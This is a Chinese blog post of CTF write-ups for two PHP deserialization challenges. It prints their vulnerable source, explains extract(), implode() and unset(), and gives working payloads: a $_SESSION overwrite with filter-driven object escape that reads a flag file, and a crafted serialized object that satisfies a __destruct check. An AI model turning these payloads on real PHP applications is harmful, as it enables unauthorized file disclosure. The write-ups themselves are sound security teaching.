关于序列化与反序列化解题

1、[安洵杯 2019]easy_serialize_php

php 复制代码
 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

implode函数的作用是:将filter_arr这个[数组合并](https://so.csdn.net/so/search?q=%E6%95%B0%E7%BB%84%E5%90%88%E5%B9%B6&spm=1001.2101.3001.7020 "数组合并")为一个字符串,并以\|分割开来;所以这个正则表达式是preg_replace(/php\|flag\|php5\|php4\|f1lg/i,'',img);并用filter()函数过滤

implode() 函数

定义和用法

implode() 函数返回一个由数组元素组合成的字符串。

注释: implode() 函数接受两种参数顺序。但是由于历史原因,explode() 是不行的,您必须保证 separator 参数在 string 参数之前才行。

**注释:**implode() 函数的 separator 参数是可选的。但是为了向后兼容,推荐您使用使用两个参数。

**注释:**该函数是二进制安全的

语法

implode(separator,array)

参数 描述
separator 可选。规定数组元素之间放置的内容。默认是 ""(空字符串)。
array 必需。要组合为字符串的数组。

unset() 函数

unset() 函数用于销毁给定的变量。

语法

复制代码
void unset ( mixed $var [, mixed $... ] )

参数说明:

  • $var: 要销毁的变量。

返回值

没有返回值。

继续分析代码,如果存在$_SESSION,就把它删除,然后为$_SESSION中的属性进行赋值。extract()函数会将你post传入的参数和值形成一个键值对:如:POST方法传入一个/?_SESSION[user]=flag,他会给你变为$_SESSION["user"]='flag',

extract() 函数

定义和用法

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

语法

extract(array,extract_rules,prefix)

参数 描述
array 必需。规定要使用的数组。
extract_rules 可选。extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。 可能的值: * EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。 * EXTR_SKIP - 如果有冲突,不覆盖已有的变量。 * EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。 * EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。 * EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。 * EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。 * EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。 * EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
prefix 可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。 该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线。

接下来用if语句判断是否给$function传参,如果没有则会返回index.php?f=highlight_file这个界面;如果给img_path不传参数,他会将guest_img.png进行base64编码后赋值给img这个键,如果传参数,会将你传的值进行base64编码后在进行sha1赋值给img,将session数组序列化后进行过滤。

提示说可以在phpinfo() 中查看,尝试查看里面的内容。输入f=phpinfo,查找到一个可能有关的条件。

这是一个反序列化题目,最后一句代码echo file_get_contents(base64_decode($userinfo['img']));中说要输出base64编码且反序列化后的对象,因此要考虑怎样将d0g3_f1ag.php放到里面输出。当f=show_image是可以读文件的,只要$userinfo['img']是相应的flag.php的base64加密

首先,为了输出想要的数据,要在里面放入d0g3_f1ag.php

又因为userinfo是由serialize_info反序列化得来的 所以想到这里应该将d0g3_f1ag.php进行base64编码得到:

复制代码
ZDBnM19mMWFnLnBocA==

serialize_info又是由$_SESSION这个数组经过序列化编码,再进行过滤得来

因此我们现在的目标就是如何让序列化后且过滤后的字符串img的值为ZDBnM19mMWFnLnBocA==,这里就需要用到源代码中的覆盖函数extract() 函数, 参考一下其他wp:[安洵杯 2019]easy_serialize_php (对象逃逸)-CSDN博客

这题过滤会把匹配到的变为空字符串,如果我们构造一个user=flag,过滤后变为空,现在就多出4个字符,因为";s:8:"function";s:xx:"a为24个字符(两个x表示function长度为两位数),所以我们user要6个flag,

且[function]=a";s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

过滤前

a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

过滤后

a:2:{s:7:"【";s:48:】";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

下面的步骤和值替换一样

构造payload:

f=show_image

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

得到/d0g3_fllllllag,发现将其base64编码后也是20位,进行替换后得到flag

f=show_image

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

2、[SWPUCTF 2021 新生赛]ez_unserialize

查看源码后得到一个disallow,考虑扫描

扫出来两个目录,尝试查看里面的内容。

只能打开robots.txt,在里面发现了一个新的php文件。

php 复制代码
 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?> 

目标是输出flag,因此一定要触发_destruct()函数,这个是析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法。(实例化对象结束后会被销毁,也会触发析构函数),我认为它的执行条件相当于要先有实例化,也就是执行_construct()。$this->admin === "admin" && $this->passwd === "ctf"是输出的条件,尝试构造pop链

得到payload:O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

题目中说反序列化的对象是p,所以传入参数值为p。

得到flag

相关推荐
- 羊羊不超越 -22 分钟前
App渠道来源追踪方案全面分析(iOS/Android/鸿蒙)
android·ios·harmonyos
wk灬丨1 小时前
Android Kotlin Flow 冷流 热流
android·kotlin·flow
千雅爸爸1 小时前
Android MVVM demo(使用DataBinding,LiveData,Fresco,RecyclerView,Room,ViewModel 完成)
android
晨曦_子画2 小时前
编程语言之战:AI 之后的 Kotlin 与 Java
android·java·开发语言·人工智能·kotlin
孤客网络科技工作室2 小时前
AJAX 全面教程:从基础到高级
android·ajax·okhttp
Mr Lee_3 小时前
android 配置鼠标右键快捷对apk进行反编译
android
顾北川_野4 小时前
Android CALL关于电话音频和紧急电话设置和获取
android·音视频
&岁月不待人&4 小时前
Kotlin by lazy和lateinit的使用及区别
android·开发语言·kotlin
Winston Wood6 小时前
Android Parcelable和Serializable的区别与联系
android·序列化